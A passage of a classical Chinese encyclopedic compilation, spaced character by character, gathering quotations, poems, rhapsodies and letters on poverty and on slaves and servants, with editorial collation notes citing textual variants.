.\n礼 记 . 子 路 曰 . 伤 哉 贫 . 生 无 以 为 养 . 死 无 以 为 礼 . 子 曰 . 啜 菽 饮 水 . 尽 其 欢 . 斯 之 谓 孝 . 敛 手 足 形 . 还 葬 而 无 椁 . 称 其 财 . 之 谓 礼 .\n又 曰 . 儒 有 一 亩 之 宫 . 环 堵 之 室 . 筚 门 圭 窦 .\n论 语 曰 . 子 曰 . 邦 有 道 . 贫 且 贱 焉 耻 也 .\n又 曰 . 衣 敝 缊 袍 与 衣 狐 貉 者 立 . 而 不 耻 者 . 其 由 也 与 . 郑 玄 曰 . 缊 . 絮 也 . 毛 诗 曰 . 出 自 北 门 . 终 窭 且 贫 . 莫 知 我 艰 .\n又 曰 . 小 东 大 东 . 杼 柚 其 空 . 注 曰 . 谓 无 货 . 唯 丝 麻 . 今 尽 不 作 也 .\n家 语 曰 . 端 木 赐 结 驷 连 骑 . 以 从 原 宪 . 宪 居 蓬 蒿 中 . 并 日 而 食 . 子 贡 曰 . 甚 矣 子 之 病 也 . 宪 曰 . 予 贫 也 . 非 病 也 .\n国 语 曰 . 叔 向 见 韩 宣 子 . 宣 子 忧 贫 . 叔 向 贺 之 . 宣 子 曰 . 吾 有 卿 名 . 而 无 其 实 . 无 以 从 二 三 子 . 吾 是 以 忧 . 子 贺 我 何 故 . 对 曰 . 昔 栾 武 子 无 一 卒 之 田 . 诸 侯 亲 之 . 戎 翟 怀 之 . 以 正 晋 国 . 今 吾 子 有 栾 武 子 之 贫 . 吾 以 为 能 脩 其 德 也 . 是 以 贺 . 若 不 忧 德 之 不 脩 . 而 患 货 之 不 足 . 将 吊 不 暇 . 何 贺 之 有 .\n吕 悦 ○ 按 当 作 忱 . 字 林 曰 . 窭 . 贫 空 也 .\n方 言 曰 . 南 楚 人 贫 . 衣 被 丑 敝 . 谓 之 须 捷 . 捷 谓 俾 迟 . 或 谓 之 褛 裂 . 褛 . 衣 坏 . 具 音 . 或 谓 之 蓝 缕 . 左 传 曰 . 荜 辂 蓝 缕 为 贫 也 .\n晏 子 曰 . 晏 子 方 食 . 景 公 使 使 者 至 . 分 食 食 之 . 使 不 饱 . 晏 子 亦 不 饱 . 使 者 反 之 . 公 曰 . 晏 子 如 此 贫 乎 . 使 致 千 金 . 以 奉 宾 客 .\n列 子 曰 . 凡 为 名 者 必 廉 . 廉 斯 贫 . 为 名 者 必 让 . 让 斯 贱 . 庄 子 曰 . 原 宪 处 鲁 . 居 环 堵 之 室 . 茨 以 生 草 . 蓬 户 不 完 . 桑 木 为 枢 而 瓮 牖 . 上 漏 下 湿 . 匡 坐 而 弦 歌 . 子 贡 乘 大 马 . 中 绀 而 表 素 . 轩 车 不 容 巷 . 往 见 原 宪 . 宪 杖 藜 应 门 . 子 贡 曰 . 先 生 病 也 . 宪 应 之 曰 . 宪 闻 无 财 之 谓 贫 . 学 而 不 能 行 之 谓 病 . 今 宪 贫 也 . 非 病 也 . 子 贡 逡 巡 而 退 . 有 愧 色 .\n又 曰 . 孔 子 谓 颜 回 曰 . 家 贫 居 卑 . 胡 不 仕 乎 . 对 曰 . 不 愿 仕 . 回 有 郭 外 之 田 五 十 亩 . 足 以 给 鬻 . 郭 内 十 亩 . 足 以 为 丝 麻 . 鼓 琴 可 以 自 娱 . 所 学 夫 子 者 . 足 以 自 乐 也 . 回 不 愿 仕 . 夫 子 愀 然 变 色 曰 . 美 哉 .\n又 曰 . 庄 周 家 贫 . 故 往 贷 粟 于 监 河 侯 . 河 侯 曰 . 我 将 得 邑 金 . 贷 子 三 百 金 . 周 忿 然 作 色 曰 . 周 昨 来 . 有 中 道 而 呼 者 . 顾 视 车 辙 . 有 鲋 鱼 焉 . 问 之 曰 . 子 何 为 者 耶 . 对 曰 . 我 东 海 波 臣 也 . 君 岂 有 斗 升 之 水 而 活 我 哉 . 周 曰 . 诺 . 我 将 南 游 吴 越 之 王 . 激 西 江 之 水 而 迎 子 . 可 乎 . 鲋 鱼 忿 焉 作 色 曰 . 吾 得 升 斗 之 水 为 活 尔 . 君 乃 言 此 . 曾 不 如 早 索 我 枯 鱼 之 肆 .\n又 曰 . 子 舆 与 子 桑 友 . 而 霖 雨 十 日 . 子 舆 曰 . 子 桑 殆 病 矣 . 裹 饭 而 往 食 之 . 子 桑 若 歌 若 哭 . 鼓 琴 曰 . 父 母 岂 欲 吾 贫 哉 . 天 地 岂 私 贫 吾 哉 . 求 其 为 之 者 不 得 也 .\n孙 卿 子 曰 . 子 夏 贫 若 悬 鹑 . 人 曰 . 子 何 不 仕 . 曰 . 诸 侯 之 骄 我 者 . 吾 不 为 臣 . 大 夫 之 骄 我 者 . 吾 不 复 见 .\n又 曰 . 仁 义 之 于 人 也 . 譬 之 若 货 财 粟 米 之 于 家 也 . 多 有 之 者 富 . 少 有 之 者 贫 . 至 无 有 者 穷 .\n吕 氏 春 秋 曰 . 世 皆 以 珠 玉 为 宝 . 宝 愈 多 而 民 愈 贫 . 失 其 所 宝 也 .\n战 国 策 曰 . 齐 人 有 冯 暖 者 . 贫 乏 不 能 自 存 . 使 人 属 孟 尝 君 . 愿 寄 食 门 下 .\n史 记 曰 . 魏 勃 少 时 . 欲 求 见 齐 相 曹 参 . 家 贫 . 无 以 自 通 . 乃 常 独 早 夜 扫 齐 相 门 外 . 相 舍 人 怪 而 以 为 物 . 而 伺 之 . 得 勃 . 勃 曰 . 愿 见 相 君 无 因 . 故 为 子 扫 门 . 欲 求 见 . 于 是 舍 人 见 勃 . 曹 参 因 以 为 舍 人 .\n又 曰 . 东 郭 先 生 久 待 诏 公 车 . 贫 困 饥 乏 寒 . 衣 敝 履 不 完 . 行 雪 中 . 履 有 上 无 下 . 足 尽 以 践 地 . 道 中 人 笑 之 .\n又 曰 . 甘 茂 亡 秦 奔 齐 . 逢 苏 代 . 代 为 齐 使 于 秦 . 茂 曰 . 臣 得 罪 于 秦 . 惧 而 逃 . 无 所 容 迹 . 臣 闻 贫 人 女 曰 . 我 无 以 买 烛 . 而 子 之 烛 光 有 余 . 子 可 分 我 余 光 . 无 损 子 之 明 . 今 臣 困 . 愿 以 余 光 振 之 .\n又 曰 . 楚 相 孙 叔 敖 死 . 谓 其 子 曰 . 我 死 . 汝 必 贫 困 . 可 见 优 孟 . 已 具 讽 篇 .\n汉 书 曰 . 朱 买 臣 . 家 贫 好 书 . 不 治 产 业 . 妻 求 去 . 买 臣 笑 曰 . 我 五 十 当 贵 . 今 已 四 十 余 . 妻 曰 . 如 公 子 等 . 终 当 饿 死 . 买 臣 不 能 留 . 即 听 之 .\n又 曰 . 郦 食 其 . 好 读 书 . 家 贫 落 魄 . 无 衣 食 产 业 . 为 里 监 门 . 然 县 中 贤 豪 不 敢 役 . 皆 为 之 狂 生 .\n又 曰 . 王 章 . 字 仲 卿 . 为 诸 生 . 学 长 安 . 独 与 妻 居 . 病 疾 无 被 . 卧 牛 衣 中 . 与 妻 诀 . 涕 泣 . 其 妻 呵 怒 之 曰 . 仲 卿 . 京 师 尊 贵 在 朝 廷 人 . 谁 逾 仲 卿 者 . 今 病 疾 困 厄 . 不 自 激 昂 . 乃 反 涕 泣 . 何 鄙 也 .\n谢 承 后 汉 书 曰 . 王 充 . 字 仲 任 . 少 孤 . 家 贫 无 书 . 常 游 洛 阳 市 肆 . 阅 所 卖 书 . 具 杂 文 部 读 书 .\n续 汉 书 曰 . 王 苑 . 字 孙 仲 . 安 贫 . 茅 屋 蓬 户 . 藜 藿 不 餍 .\n又 曰 . 范 丹 . 桓 帝 时 . 以 丹 为 莱 芜 长 . 不 到 官 . 遭 党 人 禁 锢 . 结 草 室 居 . 歌 之 曰 . 甑 中 生 尘 范 史 云 . 釜 中 生 鱼 范 莱 芜 .\n范 晔 汉 书 曰 . 李 元 . ○ 太 平 御 览 四 百 八 十 四 作 充 . 字 大 逊 . 陈 留 人 . 事 母 至 孝 . 家 贫 . 兄 弟 六 人 . 同 衣 出 入 .\n三 辅 决 录 曰 . 弟 ○ 太 平 御 览 四 百 八 十 五 作 第 . 五 颉 . 字 子 陵 . 伦 小 子 . 洛 阳 无 主 人 . 乡 里 无 田 宅 . 寄 上 ○ 御 览 作 止 . 灵 台 中 . 或 十 日 不 炊 .\n又 曰 . 孙 晨 . 字 元 公 . 家 贫 不 仕 . 生 居 城 中 . 织 箕 为 业 . 明 诗 书 . 为 郡 功 曹 . 冬 月 无 被 . 有 一 束 . 暮 卧 中 . 旦 收 之 .\n先 贤 行 状 曰 . 胡 定 . 字 元 安 . 至 行 绝 人 . 在 丧 . 雉 兔 游 其 庭 . 时 雪 霜 满 其 室 . 县 令 遣 户 曹 掾 . 排 雪 问 定 . 定 已 绝 谷 . 妻 子 皆 卧 在 床 . 令 即 遣 掾 . 以 干 粮 就 遗 之 . 定 乃 受 半 .\n鱼 豢 魏 书 ○ 太 平 御 览 四 百 八 十 四 作 略 . 曰 . 杨 师 . ○ 御 览 作 沛 . 前 后 宰 城 守 . 不 以 私 计 介 意 . 故 身 退 之 后 . 家 无 余 财 . 蜗 牛 庐 居 其 中 . 妻 子 冻 饿 .\n魏 略 曰 . 裴 潜 每 之 官 . 不 将 妻 子 . 妻 子 贫 乏 . 织 荆 芘 以 自 供 . 群 弟 之 田 庐 . 常 步 行 . 家 人 小 大 . 或 并 日 而 食 .\n楚 辞 曰 . 坎 壈 兮 贫 士 失 耳 ○ 楚 辞 九 辩 作 职 . 而 志 不 平 . 六 韬 曰 . 成 王 问 太 公 . 贫 富 岂 有 命 乎 . 将 理 不 得 其 意 . 太 公 曰 . 盗 在 其 室 . 计 之 不 熟 . 一 盗 收 种 不 时 . 二 盗 取 得 无 能 . 三 盗 养 女 太 多 . 四 盗 其 ○ 太 平 御 览 四 百 八 十 五 作 弃 . 事 就 酒 . 五 盗 衣 服 过 度 .\n颜 延 之 庭 诰 曰 . 富 则 盛 . 贫 则 病 . 甚 矣 . 不 唯 形 色 黶 . 或 亦 神 心 沮 丧 . 非 但 交 友 疏 弃 . 必 有 家 人 讼 误 . 非 广 洁 深 识 者 . 何 能 不 交 移 其 植 . 故 欲 蠲 忧 患 . 莫 若 怀 古 之 意 . 当 自 同 古 . 见 深 则 忧 浅 . 识 远 则 患 浮 . 昔 有 琴 歌 于 编 蓬 之 中 . 用 此 道 也 .\n【 诗 】 晋 张 望 诗 曰 . 荒 墟 人 迹 希 . 隐 僻 闾 邻 阔 . 苇 篱 自 朽 损 . 毁 屋 正 寥 豁 . 炎 夏 无 完 絺 . 玄 冬 无 暖 褐 . 四 体 困 寒 暑 . 六 时 疲 饥 渴 . 营 生 生 愈 瘁 . 愁 来 不 可 割 .\n晋 江 逌 诗 曰 . 荜 门 不 启 扇 . 环 堵 蒙 蒿 榛 . 空 瓢 覆 壁 下 . 箄 上 自 生 尘 . 出 问 谁 氏 子 . 惫 哉 一 何 贫 .\n宋 陶 潜 贫 士 诗 曰 . 万 族 各 有 托 . 孤 云 独 无 依 . 暧 暧 虚 中 灭 . 何 时 见 余 晖 .\n又 诗 曰 . 安 贫 守 贱 者 . 自 古 有 黔 娄 . 好 爵 吾 弗 营 . 厚 馈 吾 不 酬 . 一 旦 寿 命 尽 . 蔽 覆 乃 不 周 . 岂 不 知 其 极 . 非 道 固 无 忧 .\n梁 朱 超 咏 贫 诗 曰 . 触 涂 皆 可 试 . 惟 贫 独 未 安 . 窗 开 两 片 月 . 霜 足 一 重 寒 . 湿 铺 床 冷 . 荷 脆 补 衣 难 . 若 言 为 客 易 . 推 剑 与 君 弹 .\n【 赋 】 汉 杨 雄 逐 贫 赋 曰 . 杨 子 遁 世 . 离 俗 隐 处 . 左 邻 崇 山 . 右 接 旷 野 . 邻 垣 乞 儿 . 终 贫 且 窭 . 礼 薄 义 敝 . 相 与 群 聚 . 惆 怅 失 志 . 呼 贫 与 语 . 汝 在 六 极 . 投 弃 荒 遐 . 好 为 庸 卒 . 刑 戮 是 加 . 匪 惟 幼 稚 . 嬉 戏 土 沙 . 亦 非 近 邻 . 接 屋 连 家 . 恩 轻 毛 羽 . 义 薄 轻 罗 . 进 不 由 德 . 退 不 受 呵 . 久 为 滞 客 . 其 意 若 何 . 人 皆 文 绣 . 余 褐 不 完 . 人 皆 稻 粮 . 我 独 藜 餐 . 贫 无 宝 玩 . 何 以 接 欢 . 宗 室 之 宴 . 为 乐 不 期 . 徒 行 负 赁 . 出 处 易 衣 . 身 服 百 役 . 手 足 胼 胝 . 或 耘 或 耔 . 沾 体 露 肌 . 朋 友 道 绝 . 进 官 凌 迟 . 厥 咎 安 在 . 职 汝 为 之 . 舍 汝 远 窜 . 昆 仑 之 巅 . 尔 复 我 随 . 翰 飞 戾 天 . 舍 尔 登 山 . 岩 穴 隐 藏 . 尔 复 随 我 . 陟 彼 高 冈 . 舍 尔 入 海 . 泛 彼 柏 舟 . 尔 复 我 随 . 载 沉 载 浮 . 我 行 尔 动 . 我 静 汝 休 . 岂 无 他 人 . 从 我 何 求 . 今 汝 去 矣 . 勿 复 久 留 . 贫 曰 唯 唯 . 主 人 见 逐 . 多 言 益 蚩 . 心 有 所 怀 . 愿 得 尽 辞 . 昔 我 乃 祖 . 宣 其 明 德 . 克 佐 帝 尧 . 誓 为 典 则 . 土 阶 茅 茨 . 匪 雕 匪 饰 . 爰 及 季 世 . 纵 其 昏 惑 . 饕 餮 之 群 . 贪 富 苟 得 . 鄙 我 先 人 . 乃 傲 乃 骄 . 瑶 台 琼 室 . 华 屋 崇 高 . 流 酒 为 池 . 积 肉 为 肴 . 是 用 鹄 逝 . 不 践 其 朝 . 三 省 吾 身 . 谓 予 无 . 处 君 之 所 . 福 禄 如 山 . 忘 我 大 德 . 思 我 小 怨 . 堪 寒 能 暑 . 少 而 习 焉 . 寒 暑 不 忒 . 等 寿 神 仙 . 桀 跖 不 顾 . 贪 类 不 干 . 人 皆 重 闭 . 子 独 露 居 . 人 皆 怵 惕 . 子 独 无 虞 . 言 辞 既 罄 . 色 厉 目 张 . 摄 斋 而 兴 . 降 阶 下 堂 . 逝 将 去 汝 . 适 彼 首 阳 . 孤 竹 之 子 . 与 我 连 行 . 予 乃 避 席 . 辞 谢 不 直 . 请 不 贰 过 . 闻 义 则 服 . 长 与 尔 居 . 终 无 厌 极 . 贫 遂 不 去 . 与 我 游 息 .\n又 晋 束 皙 贫 家 赋 曰 . 余 遭 家 之 轗 轲 . 婴 六 极 之 困 屯 . 恒 懃 身 以 劳 思 . 丁 饥 寒 之 苦 辛 . 无 原 宪 之 厚 德 . 有 民 斯 之 下 贫 . 有 漏 狭 之 草 屋 . 无 蔽 覆 之 受 尘 . 唯 曲 壁 之 常 在 . 时 弛 落 而 压 镇 . 食 草 叶 而 不 饱 . 常 嗛 嗛 于 膳 珍 . 涉 孟 春 之 季 月 . 迄 仲 冬 之 坚 冰 . 稍 煎 蹙 而 穷 迫 . 无 衣 褐 以 蔽 身 . 还 趋 床 而 无 被 . 手 狂 攘 而 妄 牵 . 何 夜 长 之 难 晓 . 心 咨 嗟 以 怨 天 . 责 家 至 而 相 敦 . 乃 取 东 而 偿 西 . 行 乞 贷 而 无 处 . 退 顾 影 以 自 怜 . 炫 卖 叶 而 难 售 . 遂 前 至 于 饥 年 . 煮 黄 当 之 草 菜 . 作 汪 洋 之 羹 饘 . 釜 迟 钝 而 难 沸 . 薪 郁 绌 而 不 然 . 至 日 中 而 不 熟 . 心 苦 苦 而 饥 悬 . 丈 夫 慨 于 堂 上 . 妻 妾 叹 于 灶 闲 . 悲 风 噭 于 左 侧 . 小 儿 啼 于 右 边 .\n【 笺 】 宋 晃 道 元 与 天 公 笺 曰 . 道 居 在 城 . 南 接 水 墟 . 草 木 幽 郁 . 蚊 虻 所 藏 . 茅 茨 陋 宇 . 才 容 数 床 . 积 污 累 熏 . 体 貌 萎 黄 . 冬 则 两 幅 之 薄 被 . 心 有 牵 黎 与 敝 絮 . 撤 以 三 股 之 丝 綖 . 夹 以 四 升 之 粗 布 . 狭 领 不 掩 其 巨 形 . 促 缘 不 覆 其 长 度 . 申 脚 则 足 出 . 挛 卷 则 脊 露 .\n【 书 】 魏 应 璩 与 韦 仲 将 书 曰 . 夫 以 原 宪 悬 罄 之 居 . 而 值 皇 天 无 已 之 雨 . 薪 刍 既 尽 . 旧 谷 亦 倾 匮 . 屠 苏 发 撤 . 机 榻 见 谋 . 进 无 颜 子 不 改 之 志 . 退 无 杨 雄 晏 然 之 情 . 是 以 怀 蹙 . 良 不 可 堪 . 人 非 神 仙 . 须 仰 衣 食 . 方 今 体 寒 心 饥 . 忧 在 旦 夕 . 而 欲 东 希 诛 ○ 疑 当 作 许 . 昌 治 生 之 物 . 西 望 陕 县 厨 食 之 禄 . 诚 恐 将 为 牛 蹄 中 鱼 . 卒 鲍 氏 之 肆 矣 .\n又 与 董 仲 连 书 曰 . 谷 籴 惊 踊 . 告 求 周 邻 . 日 获 数 升 . 犹 复 无 薪 可 以 熟 之 . 虽 孟 轲 困 于 梁 宋 . 宣 尼 饥 于 陈 蔡 . 无 以 过 此 . 夫 挟 管 晏 之 智 者 . 不 有 厮 役 之 劳 . 怀 陶 朱 之 虑 者 . 不 居 贫 贱 之 地 . 出 蒙 讥 于 恤 护 . 入 见 谪 于 嫔 息 . 忽 便 邑 愤 . 不 知 处 世 之 为 乐 .\n又 与 尚 书 诸 郎 书 曰 . 夫 秋 节 凉 和 . 霖 雨 清 闲 . 正 高 会 之 盛 时 . 饮 宴 之 良 日 也 . 而 陋 巷 之 居 . 无 高 密 之 宇 . 壁 立 之 室 . 无 旬 朔 之 资 . 流 潦 浸 于 北 堂 . 隙 漏 沾 于 衣 服 . 蒸 单 竭 . 担 石 倾 罄 . 中 馈 告 乏 . 役 者 莫 兴 . 饭 玉 炊 桂 . 犹 尚 优 泰 . 虽 欣 皇 天 之 降 润 . 亮 水 军 之 思 雨 . 私 怀 蹙 頞 . 良 不 可 言 . 想 诸 夫 子 . 亦 斯 困 也 . 夫 否 泰 潜 升 . 盖 由 昏 明 . 二 三 执 事 . 以 龙 虎 之 姿 . 遭 风 云 之 会 . 方 将 飞 腾 阊 阖 . 振 翼 紫 微 . 运 筹 帷 幄 . 显 扬 丰 绩 . 岂 久 沉 滞 于 下 职 . 契 阔 于 贫 悴 哉 .\n【 文 】 后 汉 蔡 邕 九 惟 曰 . 八 惟 困 乏 . 忧 心 殷 殷 . 天 之\n生 我 . 星 宿 值 贫 . 六 极 之 厄 . 独 遭 斯 勤 . 居 处 浮 . 无\n以 自 在 . 冬 日 栗 栗 . 上 下 同 云 . 无 衣 无 褐 . 何 以 自 温 .\n六 月 徂 暑 . 炎 赫 来 臻 . 无 絺 无 绤 . 何 以 蔽 身 . 无 食 不 饱\n. 永 离 欢 欣 .\n又 曰 . 其 奴 . 男 子 入 于 罪 隶 . 女 子 入 于 春 ○ 太 平 御 览 五 百 作 舂 . .\n又 曰 . 奚 三 百 人 . 注 云 . 今 时 侍 史 官 奴 婢 也 .\n论 语 曰 . 箕 子 为 之 奴 .\n左 传 曰 . 斐 豹 隶 也 . 注 曰 . 犯 罪 没 为 奴 .\n方 言 曰 . 臧 甬 音 勇 . 海 ○ 方 言 . 初 学 记 十 九 作 侮 . 获 奴 婢 贱 称 也 . 荆 淮 海 岱 之 闲 . 骂 奴 曰 臧 . 骂 婢 曰 获 . 齐 之 北 鄙 . 燕 之 南 郊 . 凡 民 男 而 婿 婢 . 谓 之 臧 . 女 而 妇 奴 . 谓 之 获 . 亡 奴 谓 之 臧 . 亡 婢 谓 之 获 . 亡 ○ 疑 衍 . 皆 异 方 骂 奴 婢 之 丑 称 也 .\n风 俗 通 曰 . 古 制 本 无 奴 婢 . 犯 事 者 原 之 . 臧 者 被 罪 . 没 入 为 官 奴 . 获 者 逃 亡 . 复 得 为 婢 .\n又 曰 . 南 阳 庞 俭 . 少 失 其 父 . 后 居 庐 里 . 凿 井 . 得 钱 千 余 万 . 行 求 老 苍 头 . 使 主 牛 马 耕 种 . 直 钱 二 万 . 有 宾 婚 大 会 . 奴 在 灶 下 . 窃 言 堂 上 母 . 我 妇 也 . 婢 即 具 白 母 . 母 使 俭 问 . 曰 . 是 我 翁 也 . 因 下 堂 . 抱 其 颈 啼 泣 . 遂 为 夫 妇 . 俭 及 子 历 二 千 石 刺 史 七 八 人 . 时 为 之 语 曰 . 庐 里 诸 庞 . 凿 井 得 铜 . 买 奴 得 翁 .\n又 曰 . 将 作 大 匠 陈 国 公 孙 志 节 . 有 苍 头 地 余 . 年 十 七 . 攻 书 疏 . 志 节 为 户 曹 吏 . 令 地 余 归 取 物 . 余 驰 车 马 亡 去 . 至 丹 阳 . 改 姓 王 名 斌 . 字 文 高 . 遂 留 为 诸 曹 吏 . 志 节 拜 杨 州 刺 史 . 郡 衣 冠 子 弟 皆 出 斌 下 . 乃 用 之 . 斌 乞 屏 左 右 . 叩 头 涕 洟 曰 . 斌 即 使 君 地 余 也 . 斌 后 为 苍 梧 太 守 .\n史 记 曰 . 卫 青 为 侯 家 人 . 少 时 归 . 其 父 使 牧 羊 . 先 母 之 子 . 皆 奴 畜 之 . 不 以 为 兄 弟 . 青 常 至 甘 泉 居 室 . 有 钳 徒 相 青 曰 . 贵 人 也 . 官 至 封 侯 . 青 叹 曰 . 人 奴 之 生 . 得 无 笞 骂 足 矣 . 安 望 封 侯 .\n又 曰 . 栾 布 尝 为 人 所 略 . 卖 为 奴 . 卖 与 燕 将 臧 荼 . 后 为 都 尉 . 又 曰 . 齐 俗 贱 奴 虏 . 而 刁 闻 ○ 太 平 御 览 五 百 作 间 . 下 同 . 独 爱 贵 之 . 桀 黠 奴 人 之 所 患 . 唯 刁 闻 收 使 之 . 终 得 其 力 .\n又 曰 . 季 布 为 朱 家 钳 奴 .\n又 曰 . 诸 吕 擅 权 . 陆 贾 曰 . 天 下 安 危 . 注 意 将 相 . 将 相 和 则 士 豫 附 . 陈 遂 结 欢 太 尉 . 以 奴 百 人 遗 贾 .\n又 曰 . 卫 将 军 舍 人 . 过 平 阳 主 家 . 主 令 骑 奴 同 席 而 食 . 持 刀 断 席 而 坐 .\n汉 书 曰 . 武 帝 时 . 募 民 能 入 奴 婢 . 得 以 终 身 复 . 为 郎 . 增 秩 .\n又 曰 . 王 凤 群 弟 争 为 骄 侈 . 奴 僮 以 千 数 .\n又 曰 . 张 安 世 家 僮 七 百 人 . 皆 有 手 技 .\n又 曰 . 王 莽 时 . 匈 奴 侵 寇 . 乃 大 虏 ○ 汉 书 食 货 志 . 初 学 记 十 九 作 募 . 囚 徒 人 奴 . 名 者 ○ 志 . 记 作 曰 . 猪 突 倅 ○ 志 . 记 作 豨 . 勇 .\n又 曰 . 宣 帝 诏 . 大 司 马 光 . 宿 卫 忠 正 . 宣 德 明 恩 . 前 后 赐 奴 婢 百 七 十 人 .\n新 序 曰 . 昌 邑 王 以 侧 注 冠 赐 师 及 儒 者 . 后 以 冠 冠 奴 . 龚 遂 免 冠 归 之 . 曰 . 今 以 冠 冠 奴 . 是 奴 虏 畜 恶 也 .\n东 观 汉 记 曰 . 刘 宽 简 略 . 嗜 酒 . 尝 坐 客 . 使 苍 头 市 酒 . 大 醉 而 还 . 对 客 骂 曰 畜 生 . 宽 遣 人 视 奴 . 疑 必 自 杀 .\n又 曰 . 韩 卓 . 腊 日 奴 窃 食 祭 其 母 . 卓 义 其 心 . 即 日 免 之 .\n又 曰 . 彭 宠 奴 子 密 三 人 等 . 宠 昼 卧 . 密 等 遂 缚 宠 着 床 . 召 其 妻 入 缝 缠 囊 . 夜 断 宠 及 妻 头 . 盛 囊 中 . 投 世 祖 . 世 祖 封 子 密 为 不 义 侯 .\n又 曰 . 邓 弘 奴 醉 . 击 长 寿 亭 长 . 弘 见 亭 长 . 赏 钱 五 千 . 异 日 . 奴 得 复 ○ 东 观 汉 记 八 复 下 有 与 字 . 宫 中 卫 士 怒 争 . 卫 士 箠 奴 . 弘 闻 . 又 与 五 千 .\n前 秦 录 曰 . 慕 容 冲 进 通 ○ 太 平 御 览 五 百 作 逼 . 此 讹 . 长 安 . 金 城 ○ 御 览 作 坚 登 城 . 此 有 讹 脱 . 观 之 . 大 言 责 冲 曰 . 尔 辈 群 奴 . 正 可 牧 羊 牛 . 何 为 送 死 . 冲 曰 . 奴 则 奴 矣 . 既 厄 奴 苦 . 欲 取 尔 相 代 .\n蜀 志 曰 . 刘 琰 侈 靡 . 侍 婢 奴 能 为 声 乐 . 又 教 诵 灵 光 殿 赋 .\n三 辅 决 录 曰 . 平 陵 孟 佗 . 尽 以 家 财 赂 张 让 监 奴 . 众 奴 斩 ○ 太 平 御 览 五 百 作 惭 . 焉 . 时 宾 客 求 见 让 者 . 常 数 百 乘 . 累 日 不 得 通 焉 . 他 后 至 . 诸 奴 拜 迎 . 径 将 他 车 独 往 入 . 众 谓 他 与 让 善 . 争 以 珍 物 赂 佗 . 佗 得 以 赂 让 .\n语 ○ 按 本 条 事 见 宋 书 七 十 七 沈 庆 之 传 . 语 上 当 有 脱 文 . 初 学 记 十 九 引 作 宋 书 . 曰 . 虏 据 滑 . 太 祖 欲 北 伐 . 沈 庆 之 固 陈 不 可 . 丹 阳 尹 徐 湛 之 吏 部 尚 书 江 湛 在 座 . 湛 之 等 难 庆 之 . 庆 之 曰 . 理 国 譬 如 理 家 . 耕 当 使 奴 . 织 当 问 婢 . 陛 下 欲 伐 国 . 而 与 白 面 书 生 辈 谋 之 . 何 由 济 . 上 笑 . 曰 传 ○ 按 此 左 传 桓 二 年 文 . 有 脱 文 . 误 连 上 . 当 另 作 条 . 士 有 隶 子 弟 . 以 其 子 弟 为 仆 隶 .\n林 邑 记 曰 . 范 文 . 夷 师 奴 也 . 以 刀 斫 石 障 轩 卢 . ○ 初 学 记 十 九 作 如 斩 芦 苇 . 太 平 御 览 九 百 三 十 七 作 如 斩 卢 . 此 有 脱 讹 . 疑 当 作 以 刀 斫 石 障 . 如 斩 芦 苇 . 后 遂 为 国 王 .\n江 表 传 曰 . 谷 利 . 孙 权 奴 .\n【 书 】 梁 简 文 帝 答 安 吉 公 主 饷 胡 子 书 曰 . 方 言 异 俗 . 极 有 可 观 . 山 高 水 远 . 宛 在 其 邈 . 不 使 去 来 执 辔 . 媲 彼 青 衣 . 正 当 出 入 烧 香 . 还 依 丹 毂 . 岂 直 王 济 女 奴 . 独 有 罗 葱 . 方 使 乐 府 行 胡 . 羞 论 歌 舞 . 垂 膝 新 奇 . 伏 增 荷 抃 .\n汉 王 褒 僮 约 曰 . 蜀 郡 王 褒 . 以 事 止 冤 归 ○\n初 学 记 十 九 . 太 平 御 览 五 百 作 寡 妇 . 杨 惠 舍 . 有 一\n奴 名 便 了 . 倩 行 酤 酒 . 便 捍 大 杖 . 上 冢 巅 曰 . 大 夫 买 便\n了 时 . 但 约 守 家 . 不 约 为 他 家 男 子 酤 酒 也 . 褒 大 怒 曰 .\n奴 宁 欲 卖 邪 . 奴 复 曰 . 欲 使 便 了 . 皆 当 上 券 . 不 上 券 .\n便 了 不 能 为 也 . 褒 乃 为 券 曰 . 百 役 不 得 有 二 言 . 晨 起 早\n扫 . 饮 食 洗 涤 . 居 当 穿 臼 缚 帚 . 裁 盂 凿 斗 . 出 入 不 得 骑\n马 载 车 . 踑 坐 大 怒 . 下 床 振 头 . 垂 钩 刈 刍 . 织 履 作 粗 .\n黏 雀 张 鸟 . 结 网 捕 鱼 . 缴 雁 弹 凫 . 登 山 射 鹿 . 入 水 捕 龟\n. 后 园 纵 鱼 . 雁 鹜 百 余 . 驱 逐 鸱 乌 . 持 梢 牧 猪 . 种 姜 养\n羊 . 长 育 豚 驹 . 粪 除 堂 庑 . 食 ○ 初 学 记\n食 上 有 喂 字 . 马 牛 . 鼓 四 起 坐 . 夜 半 益 刍 . 舍 中 有\n客 . 提 壶 行 酤 . 汲 水 作 哺 . 奴 但 当 饭 豆 饮 水 . 不 得 嗜 酒\n. 欲 美 饮 ○ 初 学 记 作 饮 美 . 酒 .\n唯 得 染 唇 渍 口 . 不 得 倾 盂 覆 斗 . 不 得 晨 出 夜 入 . 交 关 侔\n○ 初 学 记 . 御 览 作 伴 . 偶 . 多 取\n蒲 茅 . 益 作 绳 索 . 雨 堕 无 所 为 . 当 编 蒋 织 薄 . 植 种 桃 李\n. 梨 柿 柘 桑 . 三 丈 一 树 . 八 行 ○ 御 览 作\n尺 . 为 行 . 果 类 相 从 . 踪 横 相 当 . 果 熟 收 敛 . 不 得\n吮 尝 . 犬 吠 当 起 . 惊 告 邻 里 . 抢 门 拄 户 . 上 楼 击 柝 . 持\n盾 曳 矛 . 环 落 三 周 . 勤 心 疾 作 . 不 得 遨 游 . 奴 老 力 索 .\n种 苋 织 席 . 事 讫 欲 休 . 当 舂 一 石 . 夜 半 无 事 . 浣 衣 当 白\n. 若 有 私 钱 . 主 急 宾 客 . 奴 不 得 有 奸 私 . 事 事 当 开 ○\n初 学 记 作 关 . 白 . 奴 不 听 教 . 当 笞 一 百 . 读 券 文 讫\n. 辞 穷 诈 索 . 仡 仡 叩 头 . 两 手 自 抟 . 目 泪 下 落 . 鼻 涕 长\n一 尺 . 审 如 王 大 夫 言 . 不 如 早 归 黄 土 陌 . 丘 蚓 钻 . 早\n知 当 尔 . 为 王 大 夫 酤 酒 . 真 不 敢 作 恶 .\n列 女 传 曰 . 周 室 大 夫 仕 于 周 . 妻 淫 于 邻 . 主 父 还 . 恐 觉 之 . 为 毒 药 . 使 婢 进 上 . 婢 恐 杀 主 父 . 因 僵 覆 酒 . 主 父 怒 而 笞 之 . 妻 因 他 过 . 欲 杀 婢 . 婢 就 杖 将 死 而 不 言 . 主 父 弟 闻 之 . 复 以 言 告 主 父 . 主 父 乃 厚 币 嫁 之 .\n汉 书 曰 . 傅 太 后 使 谒 者 买 诸 官 婢 . 